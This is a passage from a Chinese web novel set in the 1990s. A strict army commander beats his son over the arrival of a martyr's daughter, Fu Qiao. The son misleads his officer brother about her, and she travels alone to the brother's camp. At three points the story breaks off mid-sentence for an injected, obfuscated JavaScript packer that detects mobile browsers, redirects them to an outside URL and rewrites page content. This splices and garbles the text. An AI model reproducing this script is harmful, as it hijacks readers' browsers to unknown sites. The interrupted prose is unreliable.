本来不提傅家叔婶还好,这一说不亚于如火上浇油。 方振邦直直盯着阮红,他一双虎目,直叫人看得发毛,厉声道:“没什么不同意的!她小叔什么人我不知道吗?贪财好色又胆小,当年自己要讨老婆盖房子就死命问哥哥伸手要钱!不给就到处闹!这种人能把笑笑照顾好吗?” 阮红从没见过丈夫如此不客气,骤然间有些愣神。 方尧先急了。 “您自己不痛快冲我妈发什么脾气?” 他对着方振邦呛道:“什么笑笑,哭哭的是你战友的女儿,又不是我妈战友的女儿,凭什么让她住进家里来,让我妈照顾啊?你战友对您有恩您自己报去,别扯上别人。” 阮红心知事情要糟,赶忙打起了圆场。 “这人还没到家里来呢,咱们先乱成一锅粥了。方尧,爸妈一再和你说过,烈士的儿女是必须要尊重的。你刚才这样说话对人很不礼貌。” 方尧皱起了脸颊,满是不敢相信的表情。 自己帮她还有错了? 他大声叫嚷起来,仿佛自己受了天大的委屈,“妈?你怎么回事?我是在帮你!再说了,我不想一个素不相识,莫名其妙的人住进我自己的家里有错吗?凭什么要道歉?” 方振邦的耐心已到了极限。 啪! 一声清脆的巨响过后,全家霎时安静,连空气的流动似乎都停滞了几秒。 方尧的右脸登时红透,以肉眼可见的速度肿胀了起来,一个宽大的巴掌印清晰可见。 他的两眼发直,神情呆楞,彻彻底底被这突如其来的一耳光给打懵了。 自打他出生以来,方振邦从没真的动过他一根手指头。 还不待方尧有所反应,方振邦站起了身,长臂一抓,拿住了他的后领,硬将人从餐桌上拖了下来,生拽着往屋里走去。 阮红终于回过了神,立马上前去拦,“老方!你干什么呀!怎么能真打孩子!” “你别管!” 一顿皮带炒肉下去,抽得方尧是屁股开花,涕泗横流,哭爹喊娘地求饶。 可他越是讨饶,方振邦就越是光火,手下劲力更狠。 他边打边问道:“你长到十七岁,这是我第一次对你动手。为什么打你,知道吗?” 方尧不肯说。 “不服气?” 皮带再度落下,啪啪啪的声响不绝于耳,原就肿得老高皮肉此刻更是如火烧一般,又烫又痛,方尧捱不住疼,连声大喊道:“因为!是因为!” 方振邦闻声住手,胸膛起起伏伏,再问道:“说。因为什么?” “因为烈士子女…必须要尊重。”方尧的声线里透着虚弱,有气无力道。 “知道了。那就要牢牢记住!” 方振邦将他松开,理了理身上发皱的衬衣,“等小傅姐姐来了之后,你必须要尊重她,要好好对待她,听到没有?!” 方尧没有说话,点头如捣蒜。 “答应了就要执行。到时候人来了,要是被我发现你乱搞什么小动作,不团结友爱…那别怪我不客气。” 方振邦一番交待后便离开了房间,只剩下方尧独自待在卧室里。 房门关上的那一刹那,整个屋子忽然变得空荡荡的,安静极了。 他独自趴在床上,眼泪鼻涕蹭得床单被子上到处都是,两眼空洞洞地呆望着白墙,似乎在想什么,又似乎什么也没想。 11. 反间 翌日清晨,天刚擦亮,窗外还是雾蒙蒙灰蒙蒙的时候,傅俏就已经醒了。 她数着时间等着,等着医生查房,等着换药,等方承给她来电话。 如果方振邦对自己的承诺是真的的话。 除了傅俏在等待以外,还有个人在等待,等待着出门。 “妈!我上学去了。”方尧穿戴整齐,在门口说了一声。 阮红从厨房探出头来,“哎哎哎!等会儿,这么早去干嘛啊?这才刚六点,早饭还没吃呢!” “我上食堂去吃!” 方尧风风火火地就出了门。 俗话说得好,人在干坏事的时候,总是乐此不疲,精力充沛的。 从大院到育英高中的路上有个公用电话亭,方尧骑着自行车路过,一下子从车上跳了下来,用最快的速度锁上车后就冲了进去。 起床号刚吹不久,电话铃声就在三连的连部响起了。 “你好,我是方承。” “喂?哥!是我!” 话筒里的声音嗡嗡的,听得不甚清晰。方承惊奇地看了眼话筒,难以置信道:“方尧?你没事儿吧!这么早打电话干嘛?” “当然是有事了!出大事了!”方尧道。 方承闻言,顿感心急,“出什么事?是爸还是妈?你快说啊!” “都不是都不是!” 方尧生怕他一电话打回家去,赶忙解释,“是咱爸这次亲自上阵,给你选了个相亲对象!” “啊?” 方承眉头紧皱,想起这段时间来母亲的“轮番轰炸”,心头一阵烦躁。 “这破事儿怎么没完了?咱爸掺和什么?” “这回不是相亲没完了,是你要完了。” 方昱故意道:“你不知道吧,原来咱爸和他的一个老战友曾经订过娃娃亲,现在人找上门来啦!死活要嫁到咱家来,给你做老婆呢!” 方承虽然心烦,理智尚在,对自己这个弟弟是什么德行也是知根知底,只觉这话说简直没谱。 “少来。你现在是什么鬼话都敢往外说啊?还娃娃亲。到底想要干什么直说,否则我挂电话了。” “哎哎哎,哥!别挂别挂!” “这次我真没骗你!不信你等着,今天以内,爸绝对会给你打电话让你去苏城接一个小姑娘,然后亲自护送到家里来。” 方承听他说得信誓旦旦,有鼻子有眼的,一时竟也生出了几分犹疑,仍道:“接人是接人,相亲是相亲,这是两码事。你少给我搅浑水。” 这话一出,方昱紧张得心脏都漏了一拍,依旧嘴硬道:“你不信算啦!就当我白给你通风报信。我告诉你吧,这次爸和妈通过气了,他们是绝对不会说这姑娘是你未来媳妇的,免得你又开逃。” 方承不耐地屈起手指敲击着桌面,“怎么证明你提供的情报是真实的?” “很简单。” 方昱舔了舔有些干涩的嘴唇,心脏似乎都悬在了嗓子眼,一晃一荡地来回摆动着,几乎要把人给晃吐。 “哥,你就不去苏城接人,看她还来不来。一般人嘛,听话听音儿,知道对方不喜欢自己,肯定也就算了。要是这姑娘死皮赖脸地来,那肯定有猫腻啊。” 方承略一思忖,“是又怎么样?我拒绝不就行了?难道还要逼婚?” 方尧见他怎么也不上钩,急得都快眉毛都快烧着了,“拒绝?这要是由得你拒绝,爸会让你把人直接领家里来嘛?方军长的作风一贯都是说一不二,独断专行,到时候把你俩锁屋里锁一晚上,你想不负责都不行。倒时候,你这辈子都完咯,方连长。” “你滚蛋!” 方承斥道,心思却已然有些动摇,“整天脑子都想些什么乱七八糟的,书不好好读,歪门邪道倒是一出又一出。我看你真欠修理啊?” 方尧被骂得悻悻,没继续再多说。 放下电话后,方承沉默着思虑了片刻也没个头绪,决定先将这个突如其来又荒诞不经的消息暂时抛诸脑后。 正值盛夏,部队中训练任务吃紧,战士们的身体状况更要时刻留神。方承差不多每天都是“两眼一睁,忙到熄灯”的程度,原本也无暇顾及这些个人生活上的种种琐事。 等真接到父亲的通知再说。 突然,桌上的电话打破了房间内的平静。 方承并没有第一时间接起,迟疑片刻,最终还是提起了话筒,没有出声。 “喂?是方承吗?” 浑厚苍劲的声音传来,来电者的身份似乎不言自明。 “爸。” 方承蹙起了眉头,立马压低了声音,“您怎么直接把电话打我办公室来了,万一别人接到了怎么办?” “有私事要找你,难道还让师里营里团里转接吗?除你还有哪个能一两句话就听出我是谁?” “好好,有什么事儿您快说吧。”他做贼心虚般地匆匆扫视了下四周,仿佛不知道这里是自己的私人办公室一样。 “你这周末跑趟苏城,去接个人,然后再送到家里来……” 一听到“苏城”两个字,方承神经立刻绷紧,拒绝的话还来不及出口,就听到方振邦道:“你等一下。” 电话那头突兀地传来了一阵敲门声,似乎有人在催促着什么,三三两两的交谈声断断续续。 过了约莫几分钟,那端的声音又变得清晰了起来,是方振邦。 “喂?我马上有事,不和你多说了。记住了,你要去接的这个小姑娘叫傅俏,十八岁左右,住在苏城宁林区东街巷331号。她的父亲是我的老战友,对咱家有大恩。你务必完成这个任务,千万照顾好她,这是命令。如果你要联系她,就打这个号码…你记住了没有?一定要写下来。” 他着急开会,遂想着先把事情交待下去,三言两语地捡了些重要信息率先传达,并没有将傅俏的情况完全说明。只一再表示了自己的重视态度,千叮咛万嘱咐地要他好好对待这位素未谋面的小姑娘。 这番语焉不详的话听在方承耳中,竟恰巧与方昱向其透露的信息互相完美印证,坐实了他的说法。 通话被匆匆挂断,方承有些难以置信地看着手里的话筒,又瞟了眼一旁笔记本上被勒令写下的一串数字。 苏城、老战友、相亲、娃娃亲、送老婆上门…… 方尧幸灾乐祸的语气倏地冒了出来,不住地在耳畔回荡着。这些字眼仿佛是一记又一记的重锤,精准地砸向他的心理防线,砸得脑袋嗡嗡作响。 一股强烈地被人愚弄的羞耻感霍然淹没了他。 本就饱受母亲催婚安排摧残的方承,现在又深深体会到了父亲对自己人生的肆意掌控感,这让他的心中忽然滋生出了前所未有的抗拒。 人生大事,立业成家。 当年方承想要报考军校从军,父亲百就般阻扰,觉得他要是干得好升得快,也说不好是不是沾了他的光。那要是干得不好,肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464558|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定得给他的脸上抹黑,天下三百六十行,凭什么就要和父母做一样的事业?难道不是想躺着父母的功劳簿上吃老本吗? 要不是他一再坚持斗争,这身军装根本没机会穿上。 怒火在胸膛里冒出,从一小簇火苗越烧越旺,甚至吞噬了他的理智。话筒被猛地掼回座机,发出好大一声“哐啷”。 方承叉着腰,气得在原地来回踱步。 “怎么了这是?” 指导员贺遒刚一推开门,就看见连长同志大清早地转圈。 “去去!别烦我。”方承铁青着脸,不耐地摆了摆手。 贺遒一怔,疑惑道:“你这是吃枪药了,这么大火气?谁又招惹你了?” “吃枪药?我恨不得吃火药我!” 方承一巴掌拍在办公桌上,好大一声响,恨恨道:“老贺,你说!这人不结婚到底碍着谁了?!我不结婚怎么了?这辈子都不结婚又怎么了?是地球要停转了,还是第三次世界大战要爆发了?” “催婚嘛。”贺遒了然,笑了起来,还有心情调侃道。 “怎么讲,阿姨又给你介绍了什么大家闺秀啊?还是老样子嘛。去见见面,然后好好和女士们把话说清楚,请人家吃顿好的,算作赔礼道歉。你之前不都这样处理的?是不是没钱了?我这里有,借你一百块够不够?” 方承怒道:“见面?!我还去见面?!做梦吧,我这辈子都不想见她!” 时间在一分一秒间流逝,原本朝时还只偏据东方的太阳此刻已高悬当空,烈日炎炎,晒得连草木都蔫头呆脑的。 “…我与他萍水相逢语甚洽,怎能够月老红丝一线牵…” 老板收音机的音质潦草,滋滋咂咂的电流声时有时无,里面的唱段也是反反复复。 傅俏坐在这里听了一上午,才勉强听懂了一两句。 随着气温越升越高,她的额前隐隐沁出了层细汗。 “老板,来根冰棍。” 这回老板的耳朵倒好使了,不一会儿就探出了头,手里拿着冰棍,见小姑娘热得两颊红扑扑的,头上还缠着纱布,不由得觉得可怜。 “小妹啊,天气这么热,你不要在这里等了呀。还是老样子嘛,有什么消息我帮你记下来,你到时候再来打过去不就好了。” 傅俏笑了笑,冒着冷气的冰坨子一入口,凉丝丝的口感立马消退了脸上的热度,脑子也清醒了不少。 “没事的。我再坐一会儿。” 不知道为什么,她今天打一醒来便感到心里莫名地有些发慌,那种惴惴不安将整个人都攫住了一般,让她在病房里坐也不是,站也不是,躺也不是,干脆直接到了公用电话这里来,还勉强心安一些。 然而结果就是,傅俏巴巴地等了一上午,方承同志却毫无音讯。 她不禁陷入了焦虑之中,正犹豫着是否要再问问方振邦,可又怕他觉得自己太心急,像是别有所图。 没有在电话里说自己被绑架骗婚的事情,是因为到底事关女孩的声誉,尤其在这个思想还没完全放开的时代,谁不敢保证方家是否会对此有什么看法。 虽然纸终究包不住火,但傅俏不想在亲自与方振邦接触之前就说得太多。 “喂?” 公用电话再一次响起,而她在经过一上午的训练后逐渐脱敏麻木的神经对此已经不复最初的敏锐,仍兀自沉浸在自己的思绪里。 老板接起,“找谁?傅俏?!” 12. 偏见 “喂?” 对面的声音醇厚而嘹亮,一听便知是位成年男性。 “您好?我是傅俏。” 少女急切又雀跃的语调顺着线路从话筒中传出,略微有些沙哑,却丝毫不影响音色的清越悦耳。 光是听声音,都会让人觉得这是位十分漂亮的女孩儿。 可方承只觉得厌烦,甚至从中听出了些‘奸计得逞’的味道。 他不悦地扯了扯常服领子,语气淡漠:“嗯,我是方承。听我爸说,你要上家里去一趟,让我来苏城接你,是这样吗?” 这言语刻薄如同锋刃,直割人心,傅俏下意识地捏紧了话筒。 对面的语气听起来像是自己硬要上门去打秋风的。 脑海中霎时千头万绪涌过,她不明白为什么方承是这个态度,还是说根本连方振邦的热情也不过是虚情假意,说什么让儿子来接,不过是个托辞罢了。 但不论是什么情况,傅俏都不可能轻易放过眼下这个能借力挣脱樊笼的最佳机会,管他是真情也好,虚情也罢。 “是。” 傅俏拿不准方承的秉性,不敢多说什么,以免多说多错,“请问您……” 她将姿态放低,以至于有些讨好的意味,孰料这对于方承来说,反而愈加坐实了方尧的消息。 方承顿时更觉反感,甚至等不及那头把话说完,直截了当道:“情况有变,我这边有临时任务走不开身。” 仿佛被人背后敲了闷棍,傅俏脸上的血色在刹那间褪去大半,苍白得与医生身上外袍似乎没什么区别。 她的左手死死抠住窗台,尽力维持语气的稳定,“这样的话,那我会再和方叔叔……” “你不用找他,也找不到他的。至于原因是什么,你也不需要知道。”他说道。 这倒不是一句假话,为了搞清事情的真相,方承在情绪稍加缓和之后给方振邦拨去了电话,没想到却被告知首长临时出差去了,任务保密,在此期间不会和外界随意通信。 他只好又去对母亲旁敲侧击,没想到这次阮红竟变得格外嘴严,问什么都只说这事儿是他爸拿的主意,具体情况她也不清楚。 “不好意思,您说什么?” 什么叫找不到方振邦? 傅俏的心咚地坠到谷底,摔得血肉模糊。 方承没兴趣再重复一边说过的话,“你还有什么要说的吗?没有我挂了。” “等等!” “还有什么事?” 要不是看在她是军人之后,他这会已经挂电话了。 傅俏将脑子转得飞快,舔了舔干涩的嘴唇,呼吸也急促起来。 “我要见你。可以吗?” 对面一阵沉默。 接着是突然一声轻笑,轻蔑的轻。 方承道:“你要见我?你凭什么见我?” 傅俏道:“方叔叔答应我的。” 还真冥顽不灵,倒像是方振邦会喜欢的类型。 方承嘲讽道:“小姐,你知道‘矜持’两个字怎么写吗?” “是方叔叔要见我,也是他让你来接我的。” 傅俏只一味重复,“还是说,他言而无信?” “……” 方承咬了咬后槽牙。 “好,想来就来吧。但丑话说在前头,你来的时候我不一定会在。要被岗哨拦住门外进不来,可千万别怪我,也别说是我让你来的。” 她微微松了口气,“放心,我会的。” 方承:“一言为定?” 傅俏:“一言为定。” 晌午时分,道旁的知了吱嘶吱嘶的叫得没完没了。当她伴着这些仿佛永远也不会停止的噪声回到病房时,马明远已经送饭来了。 保温桶一打开,带着香味的热气溢散而出,一层层分解,底下是海带筒骨汤,中间是米饭,最上面是油渣小白菜。骨汤熬得奶白,青菜翠绿,米饭糯香,光是看着就让人食指大动。 “来,尝尝今天的饭菜合不合口味。” 他没有询问傅俏去了哪里,只笑着招呼她来吃饭。 本该是好好的一顿饭,她却吃得食不知味。 “发生什么了?” 马明远收拾着碗筷,状似不经意地问道。 “嗯?” 兀自沉浸在思绪中的傅俏愣了几秒才意识到有人在同自己说话。 她干巴巴地笑了笑,“对不起啊,明远哥。我刚才没听清你说什么。” “是因为陵州的事情吗?” 马明远一语道破。 “你怎么……”傅俏顿了顿,还是选择说了实话。 “嗯。原本方叔叔说让人来接我,但这个人现在工作上临时出了些问题,来不成了。就给了地址,让我自己过去。” 马明远越听眉头皱得越紧,神色也愈发凝重,末了更是直接了当道。 “不行,你不能去。” “可是……” 她当然知道马明远在担心什么,一个从没见过面,十几年不曾联系过的陌生人忽然说要见面,还要到家里去,怎么听来都很像是个蹩脚的骗局。 “陵州这件事,我之所以没有多说什么,就是因为你说对方会来人接你。这样我能见到那个人,请他吃饭的时候也能多接触,好帮你甄别。但是现在连一天的时间还不到,又说让你自己过去,我不能放心。” 见他的态度坚决,傅俏略有些着急,毕竟她的身份相关的证件都还在傅家,眼下只有马明远出面才有可能要来。若没有这些东西,就算是有钱也没买不了车票,到不了陵州。 除非她去扒火车。 “我跟你一起走,可以吗?” 不错,马明远工作的地点就在陵州,他这次回苏城本就是临时请假。日期到了,自然要回去的。 “跟我走?” 马明远瞪着眼睛,一言不发地盯着傅俏看了好几秒,似乎觉得她已经魔怔了。 “既然要让我带你出去,我就有责任要送你回来。小傅,你有打算什么时候回来,怎么回来吗?” 傅俏的眼神闪烁,抿着嘴唇没有回答。 他的脸色逐渐凝重,甚至从凳子上站了起来,语重心长道:“我理解你不想回叔婶家,可是你现在这样一个劲往别人家去,难道就是好办法吗?就算你的那位长辈再好,也总不可能把你一直留下。终究是你的叔叔婶婶才能照顾你,你还是要回来。一味地逃避,解决不了问题。” 这番话几乎将她描述成了一个彻底失去了理智的溺水者,纵然死命抓住了“方家”这根虚无缥缈的救命稻草,结局也注定是沉入水底。 “那要是我说,我再也不回来了呢?” 马明远一怔,难以置信。 “什么?” 少女仰起头,清晰锋利的下颌线如同她的态度,目光灼灼,用略带青涩的嗓音一字一句说出。 “我不会再回傅家的,死也不会。” “为什么?” 马明远仿佛受到了什么震撼,“就因为志远这件事吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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马明远在大家庭环境下成长起来,几乎是传统要求中模范长子的模样,是家庭塑造而出的“舵手”,家人之间便如同舟共济,永远也无法摆脱家庭影响。纵使这艘大船漏洞百出,他也只会尽心修补,怎么也不可能弃船而走。 但于傅俏而言,两世为人,她都没享受过“父慈母爱”的滋味。 上辈子,她一出生就被抛弃在了医院里,福利院里长大。十六岁考上中科大少年班,毕业后赴美读博,再到受邀回国工作,最终猝然穿越至此。 这一路漫漫,为她沐风栉雨,披荆斩棘的,从来只有她自己。 病房四下里寂静无声,窗外月凉如水,照映在傅俏的脸庞上,半隐半显。 想起马明远愤然离去时的黑脸,她长叹了一声。 话说到了头,人与人之间的情谊也就到了头。 傅俏的威胁言之凿凿,马明远看着她额上的纱布,丝毫不怀疑她的执行力。 “你想要什么?”他几乎是从牙缝里挤出来这句话。 “很简单,你送我去陵州,我们之间的是是非非就一笔勾销。我保证以后守口如瓶,不会对外人多说一个字。” 马明远:“我凭什么相信你?” “明远哥,我说过的。” 小姑娘眨着眼睛,纤长睫毛轻颤似蝴蝶振翅,“我感谢你,感谢你救了我,又帮我这么多。” “不敢当。” 他抬手一挡,冷冷道:“我可没那么大的福气,有你这么个妹妹。感激就算了,你的人情我也不敢要,只要以后不再找麻烦就可以了。” 傅俏顿了顿,说道:“现下的事情,就在现下解决。至于以后,来日方长,咱们还是以后再说吧。” 马明远哼了一声,懒得同她再多话,“既然你等不及了,那就按照你的想法来。去陵州的事情,我会尽快安排。不过一旦出去了,遇到什么事情,我是负不了那么大的责任,你明白吗?” 13. 连长 呜! “旅客们请注意!旅客们请注意!由苏城开往陵州方向的257次列车马上就要发车了。请送亲友的同志抓紧时间下车,携带好随身物品,注意安全!列车启动,请站稳扶好!” 橄榄绿色的铁皮巨物在这一声洪亮悠远的汽笛长鸣中缓缓启动。 城市的混凝土森林在快速消退,接替出现的,是窗外一望无际的稻田。 七月的稻苗浓翠欲滴,每当有风拂过,绿色的稻浪便随之起起伏伏。纵然正值晌午,烈日当空,也偶尔零散可见戴着草帽的农民正弯腰在田间地头劳作。 傅俏趴在窗边,全神贯注地欣赏着窗外的景色。 明媚的阳光洒在少女的脸颊上,连茸茸的细绒毛都照得分明,金灿灿的光芒融在她黑白分明的眼瞳中,映衬出其中的喜悦。 马明远翻了翻手里的报纸,眼角余光瞄过,不禁也有一瞬恍惚。 这么多天来,只有现在,傅俏才瞧着真正是个与她年纪相符的小姑娘。 “等会儿车就要到站了,有人来接你吗?”他不经意问道。 “没有。”她的注意力仍在窗外,大喇喇道:“我自己过去。” 他不由得语塞,略一沉吟,还是选择掏出随身携带的纸笔,唰唰写下了什么。 “旅客朋友们请注意!旅客朋友们请注意!本次列车即将到达陵州车站,请下车的旅客提前整理好自己的行李物品,做好下车准备……” 早早减速的火车缓缓停稳,轰然一声气声之后,各节车厢的车门齐齐打开,旅客们鱼贯而出,如潮水般席卷了整个月台。 人声鼎沸中,马明远将提包交给了傅俏。 “祝你一切顺利。” 他的眸光暗了暗,又递给了她一张折好的纸条,“我的联系方式。虽然之前给过你一次,但不知道你收拾行李的时候有没有带上。” 眼前头戴盆帽的小姑娘,看着似乎与人群有些格格不入。 “如果真的遇上麻烦,记得找我。” 傅俏似乎有些吃惊,接过纸条展开看了一眼,随后便郑重地收到了口袋里。 马明远刚松口气,少女却忽然上前一步,轻抱了抱他。 他没有任何准备,只觉好似一阵清风拂过,浑身募地一僵,干净的皂角粉香气在鼻尖稍纵即逝。 “谢谢你,明远哥。”她说道。 跟随着人流走出车站,傍晚时分的余晖洒在开阔的广场上,连晚风都变得含情脉脉。 夕阳无限好,只是近黄昏。 傅俏必须在天黑之前赶到方承所给的驻地地址,否则等天色全暗,独自在这么个人生地不熟的陌生城市,配上这九十年代的交通条件,饶是再胆大的人也会觉得不安。 公交车转了一趟又一趟,路问了一遍又一遍,车辆行驶的方向越来越荒凉,人烟渐稀,城市已至边缘。 蓝白涂装的小巴客车改成的公交车摇摇晃晃地在一块锈迹斑斑的绿色站牌杆子前停下,四下里目之所及,一片旷野。 车上只剩下了傅俏,司机打开车门,好心地专程扭头对她说道:“小姑娘,这里就是终点站了。你要去一零六团啊,还得走过前面这个农场。” “诶,谢谢您指路,叔叔再见。” 她笑着同司机道了别,看着车辆在轮胎卷起的烟尘中园远去。天边一轮残阳如血,周围除了呼呼吹过的热风,什么别的动静也没有。 “走吧。” 傅俏看着眼前唯一一条被人踏出来的“路”,默默对自己说道。 许是前世太过便利的交通条件早已让人不适应长途跋涉,也可能是身体还未完全复原,尚还吃不消这么高强度的颠簸。尽管她一刻也不敢松懈,没有停下过脚步,紧赶慢赶,抵达目的地的时候,也已是满天星斗。 黑夜中看不清驻地的模样,唯有肃穆的大门前亮着两盏大灯,将院门中央处的军徽照得分外清楚。灯下分列着一动不动的岗哨人员,三者形成了一个坚固的三角形状,凛然不容侵犯的威严感顿时扑面而来。 傅俏下意识地在原地站定,理了理头发着装,又刻意压了压帽子,确认将伤口遮住。 离门口还有十步远时,哨兵便向她抬手示意警告,年轻的嗓音铿锵有力。 “站住!军事禁区,禁止靠近!” 傅俏立刻停下,朗声答道:“同志,您好,我是来找人的。” “找谁?有介绍信或证件吗?”哨兵眼神里的警惕犹如实质。 “我找一零六团一营三连的方承,方连长。” 傅俏在说出这个名字时,哨兵的神情忽地浮现出一丝极其微妙的变化。 “请问您的姓名?和方连长是什么关系?是否有预约?”他继续追问道。 “我叫傅俏,从苏城来。嗯…和方连长有提前通过电话,是认识的。” 哨兵再次仔细观察了眼前的小姑娘,她显然是赶了很久的路,乱糟糟的疲惫不堪,夜灯将孤零零的影子拉得很长,显得尤为可怜。 他略一思忖,说道:“请在此稍等,不要越过警戒线,我需要打电话确认一下。” 等待,等待,还是等待。 傅俏并不担心自己会被始终晾在营地之外。既然人已经到了这里,除非方承告诉她的是个假地址,否则就算他方连长不管,也总会有别人来管。她不相信,方振邦在部队的消息来源会仅限于他儿子。 身体的疲劳已经超越了对体面的追求,她太累了,索性挑了个不近不远的地方席地而坐。 现在没有手机可供消遣,逃离出前世信息量爆炸的互联网笼罩,等待就变成了一件特别具象化的事件。 傅俏在道边不知坐了多久,紧绷的神经在安全静谧的环境中慢慢松弛,白日积攒下的疲惫顿时席卷而来,困倦拖拽着眼皮,视线也变得模糊。 “同志?同志?” 半梦半醒间,一只大手忽然拍上了她的肩头,属于成熟男性的嗓音传入耳中,有人正在轻声唤她。 “啊?!” 她像是在睡梦中意识到了什么,猛然惊醒,倏地抬起头,懵懵懂懂地望着眼前人。 只见他一袭军绿色翻领外套,深色领带,身形高挑,约莫二十七八岁的模样,正疑惑地看着自己。 “小姑娘,你怎么在这里睡觉?” 傅俏心里紧张,霍然站了起来,不料眼前倏地一黑,身体顿时软绵绵地失了重心,猛地朝前跌去。 “诶诶诶!小心小心!” 赵英眼疾手快地拽住了险些一头栽在自己身上的少女,将人扶稳之后,又帮忙拾回了方才慌乱中掉落的盆帽。 “给。” 傅俏始终低着头,看也没看一眼,手忙脚乱地将帽子扣回了头上。 “谢谢您。不好意思,给您添麻烦了。” 她的脸颊泛起红晕,似是有些难为情。 赵英爽朗一笑,“没事。你怎么一个人睡在这里啊?来找谁啊?” “我……” 傅俏迟疑着要不要说。 “老赵?” 忽然另一道声音打断了她的思绪。 来人穿着与赵英一模一样的夏常服,鼻梁上架着一副无框眼睛,看起来文质彬彬,十分随和。 “诶?老贺,你怎么…哦!这小丫头是来找你的啊?” 贺逑笑着点点头,算是默认,从口袋里摸出根红塔山递了过去,“六连长,刚才有点事,出来得晚了。谢谢你帮忙照看。” “不用不用。”赵英挡回了递烟,大喇喇道:“我也才回来,多事瞅一眼而已。你这么客气,见外了啊。” “行行。”贺逑将烟收回。 赵英道:“成,你俩聚。我先回连里了,有空打球啊。” 他说着又向傅俏摆摆手道别,“小妹,以后等人可不能睡着了,万一碰上坏人就糟了。” 她点点头。 目送着赵英的背影渐行渐远,贺逑开口道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464560|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就是小傅姑娘吧?我是三连的指导员贺逑,连里有些事情还需要连长处理。他走不开,就拜托我来接你。” “我是傅俏。” 她下意识地拍了拍身上的尘土,道歉道:“不好意思,我…我也不知道怎么就睡着了…” 贺逑的语气愈加温和,“没有。一路奔波肯定累坏了。是我们招待不周,让你等了这么久。” 说话间,他不着痕迹地快速打量了一下傅俏。 少女的身量颀长,眉如远山,眼若秋水,眉眼盈盈间,似乎还笼罩着一丝若有若无的愁绪。 嗯,非要形容的话,倒确有几分“林妹妹”的意思。 就是不知道方承这位“宝二爷”,会不会“一见如故”了。 连部,会议室。 杯里的茶水早已凉透,方承穿着作训服,环抱着双臂,黑着脸看着眼前两人。 “可以啊,挺能耐啊?” 他的声音不高,“合着部队的条例条令在你们眼里就是一纸空文?全连就你俩积极份子?” 面前站成一排的两个兵,明明都是连里尖子,平日里张牙舞爪的货色,此时却像霜打的茄子,低着头不敢吭声。 “王为民!”方承点名。 “到!”一个身材壮实、皮肤黝黑的兵猛地抬头挺胸。 “你怎么想的?大中午的练习四百米障碍,中暑了倒在壕沟里。万幸让稽查及时发现送到卫生队急救。咱们营区有这待遇的,你还是头一份,光荣啊。” 王为民一张黑脸涨得发紫,嘴唇嗫嚅了两下,最终还是没出声。 “顾勇!” “到!”另一个兵应声,小腿肌肉还在不自觉地微微抽搐。 “武装越野回来,自己又偷偷加绑了五公斤沙袋,跑到小腿抽筋让你们班长背回来的,是不是?觉得很光彩吗?” 顾勇脖子一梗,想辩解什么,最终也只是憋出一句:“连长,我……我就是想再突破一下……” “突破?你突破进卫生队吧你!” 方承一拍桌子站起,“争强好胜也要讲个原则!身体是革命的本钱,平时没强调过吗?现在距离集团军大比武没俩月了,你们要是练废了胳膊练瘸了腿,到时候是打算上去当啦啦队,还是在场边维持秩序?” 两个兵互相偷偷瞄了一眼,谁都不吱声。 他看着这俩人挨着骂还这里“眉目传情”,火气更是蹭蹭往上冒。 “三连的荣誉,不是靠这种蛮干拼来的!训练要科学,要讲方法,你们这么瞎搞,不是刻苦,是愚蠢,是对连队不负责任。更是对你们自己的身体更不负责任,知道吗?!” “连长,我们知道错了……”王为民小声道。 “知道个鬼!” 方承不用看就知道他们不服气,也不多说什么,直接宣布了处罚措施,“从今天起,你们两个,训练全部减半。王为季,器械训练暂停三天,去卫生队做理疗。顾大勇,沙袋没收,一周内不许碰负重。” “连长!”两人同时急了。 “连长什么?刚才不是还说知错了?” 他横了两人一眼,“犯错就要惩罚。现在就滚回去睡觉!要是再让我发现谁偷偷加练,一班二班就跟着你们一起减半!” “是!” 两人大声应道,齐刷刷地立正回礼后离开。 大门合上,方承揉了揉眉心,重新坐回椅子。 士兵们有上进心是好事,在部队里私下里加餐训练也常有的,但这个度量却难以把握。三连的这些个兵,都是他一个个带出来的心血结晶,个顶个的精兵尖子,也是多少家庭的宝贝。送进了部队,要是非战斗原因造成损伤,他实在没法原谅自己,也没办法向他们的家里交待。 咚咚咚! 消停了没两分钟,又是一阵急促的敲门声。 方承顿时火冒三丈,冲着门口吼道:“谁?” “是我。”贺逑道:“人接回来了。” 14. 傲慢 贺逑朝她歉意地笑笑,指了指门里解释道:“连队里的事情,他这会儿估计是正在气头上。你别在意,和你没关系的。” 傅俏微微颔首。 他又敲了两下,朗声道:“老方,我进来了。” 贺逑侧身引着她进了会议室,顺手关上了门。 “大晚上的,别着急上火。你看看,谁来了?” 方承扭头望去,才只瞥见了个轮廓,蹭地就从椅子上站了起来,眉关紧缩,大惊失色地一把拽过贺逑,背对着傅俏,压低声音问道。 “你怎么回事?!” 贺逑也小声答道:“怎么了?你让我去接人,我给你接来了。有什么问题吗?” “怎么把人领这儿来了?不是说了给她在招待所开个房间吗?”方承反问。 贺逑安抚地拍了拍他的肩膀,却被不客气地一把甩开。 